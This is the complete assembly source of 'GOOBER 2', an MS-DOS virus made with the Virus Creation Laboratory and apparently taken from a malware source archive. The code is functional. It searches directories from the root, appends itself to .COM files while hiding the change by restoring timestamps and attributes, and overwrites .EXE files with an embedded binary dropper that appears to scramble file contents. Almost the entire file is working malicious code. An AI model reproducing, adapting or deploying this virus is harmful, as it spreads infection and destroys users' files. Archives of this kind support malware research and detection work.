MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vclgoob2.asm
2021-01-12 18:04:54 -06:00

391 lines
17 KiB
NASM

; GOOBER2.ASM -- GOOBER 2
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 222H
db 092h, 086h, 0EDh, 092h, 0E8h, 0AFh, 000h, 0E8h
db 0ACh, 000h, 0BEh, 0FFh, 002h, 0B4h, 00Eh, 0ACh
db 00Ah, 0C0h, 074h, 004h, 0CDh, 010h, 0EBh, 0F7h
db 0BAh, 012h, 003h, 055h, 08Bh, 0ECh, 081h, 0ECh
db 000h, 010h, 057h, 0B4h, 02Fh, 0CDh, 021h, 08Bh
db 0FBh, 0B4h, 04Eh, 0B9h, 027h, 000h, 0CDh, 021h
db 072h, 06Ch, 0B8h, 001h, 043h, 033h, 0C9h, 08Dh
db 055h, 01Eh, 0CDh, 021h, 0B8h, 002h, 03Dh, 08Dh
db 055h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh, 0B9h
db 000h, 010h, 08Dh, 096h, 000h, 0F0h, 0CDh, 021h
db 00Bh, 0C0h, 074h, 028h, 050h, 08Dh, 0B6h, 000h
db 0F0h, 032h, 0E4h, 0CDh, 01Ah, 059h, 051h, 030h
db 014h, 046h, 042h, 0E2h, 0FAh, 05Ah, 052h, 0B8h
db 001h, 042h, 0B9h, 0FFh, 0FFh, 0F7h, 0DAh, 0CDh
db 021h, 0B4h, 040h, 059h, 08Dh, 096h, 000h, 0F0h
db 0CDh, 021h, 0EBh, 0C9h, 0B8h, 001h, 057h, 08Bh
db 04Dh, 016h, 08Bh, 055h, 018h, 0CDh, 021h, 0B4h
db 03Eh, 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh
db 08Ah, 04Dh, 015h, 08Dh, 055h, 01Eh, 0CDh, 021h
db 0B4h, 04Fh, 0CDh, 021h, 073h, 094h, 05Fh, 08Bh
db 0E5h, 05Dh, 0E8h, 055h, 001h, 00Bh, 0C0h, 074h
db 003h, 0EBh, 006h, 090h, 0EAh, 000h, 000h, 0FFh
db 0FFh, 0B8h, 000h, 04Ch, 0CDh, 021h, 055h, 08Bh
db 0ECh, 083h, 0ECh, 040h, 0B4h, 047h, 032h, 0D2h
db 08Dh, 076h, 0C0h, 0CDh, 021h, 0B4h, 03Bh, 0BAh
db 0DAh, 001h, 0CDh, 021h, 0E8h, 00Dh, 000h, 0B4h
db 03Bh, 08Dh, 056h, 0C0h, 0CDh, 021h, 08Bh, 0E5h
db 05Dh, 0C3h, 05Ch, 000h, 055h, 0B4h, 02Fh, 0CDh
db 021h, 053h, 08Bh, 0ECh, 081h, 0ECh, 080h, 000h
db 0B4h, 01Ah, 08Dh, 056h, 080h, 0CDh, 021h, 0B4h
db 04Eh, 0B9h, 010h, 000h, 0BAh, 034h, 002h, 0CDh
db 021h, 072h, 027h, 080h, 07Eh, 095h, 010h, 075h
db 01Bh, 080h, 07Eh, 09Eh, 02Eh, 074h, 015h, 0B4h
db 03Bh, 08Dh, 056h, 09Eh, 0CDh, 021h, 0E8h, 0CBh
db 0FFh, 09Ch, 0B4h, 03Bh, 0BAh, 031h, 002h, 0CDh
db 021h, 09Dh, 073h, 00Ch, 0B4h, 04Fh, 0CDh, 021h
db 073h, 0D9h, 0BAh, 038h, 002h, 0E8h, 016h, 000h
db 08Bh, 0E5h, 0B4h, 01Ah, 05Ah, 0CDh, 021h, 05Dh
db 0C3h, 02Eh, 02Eh, 000h, 02Ah, 02Eh, 02Ah, 000h
db 02Ah, 02Eh, 045h, 058h, 045h, 000h, 055h, 0B4h
db 02Fh, 0CDh, 021h, 053h, 08Bh, 0ECh, 081h, 0ECh
db 080h, 000h, 052h, 0B4h, 01Ah, 08Dh, 056h, 080h
db 0CDh, 021h, 0B4h, 04Eh, 0B9h, 027h, 000h, 05Ah
db 0CDh, 021h, 072h, 009h, 0E8h, 00Fh, 000h, 073h
db 004h, 0B4h, 04Fh, 0EBh, 0F3h, 08Bh, 0E5h, 0B4h
db 01Ah, 05Ah, 0CDh, 021h, 05Dh, 0C3h, 0B4h, 02Fh
db 0CDh, 021h, 08Bh, 0F3h, 0C6h, 006h, 0F9h, 002h
db 000h, 083h, 07Ch, 01Ch, 000h, 075h, 070h, 081h
db 07Ch, 025h, 04Eh, 044h, 074h, 069h, 081h, 07Ch
db 01Ah, 022h, 002h, 072h, 062h, 0B8h, 000h, 03Dh
db 08Dh, 054h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh
db 0B9h, 004h, 000h, 0BAh, 0F5h, 002h, 0CDh, 021h
db 0B4h, 03Eh, 0CDh, 021h, 056h, 0BEh, 0F5h, 002h
db 0BFh, 000h, 001h, 0B9h, 004h, 000h, 0F3h, 0A6h
db 05Eh, 074h, 03Ch, 0C6h, 006h, 0F9h, 002h, 001h
db 0B8h, 001h, 043h, 033h, 0C9h, 08Dh, 054h, 01Eh
db 0CDh, 021h, 0B8h, 002h, 03Dh, 0CDh, 021h, 093h
db 0B4h, 040h, 0B9h, 022h, 002h, 090h, 0BAh, 000h
db 001h, 0CDh, 021h, 0B8h, 001h, 057h, 08Bh, 04Ch
db 016h, 08Bh, 054h, 018h, 0CDh, 021h, 0B4h, 03Eh
db 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh, 08Ah
db 04Ch, 015h, 08Dh, 054h, 01Eh, 0CDh, 021h, 080h
db 03Eh, 0F9h, 002h, 001h, 0C3h, 000h, 000h, 000h
db 000h, 000h, 0A0h, 0F9h, 002h, 098h, 0C3h, 007h
db 044h, 069h, 076h, 069h, 064h, 065h, 020h, 06Fh
db 076h, 065h, 072h, 066h, 06Ch, 06Fh, 077h, 00Dh
db 00Ah, 000h, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h
db 05Bh, 056h, 043h, 04Ch, 05Dh, 000h, 044h, 04Fh
db 04Dh, 045h
vcl_marker db "[VCL]",0 ; VCL creation marker
finish label near
code ends
end main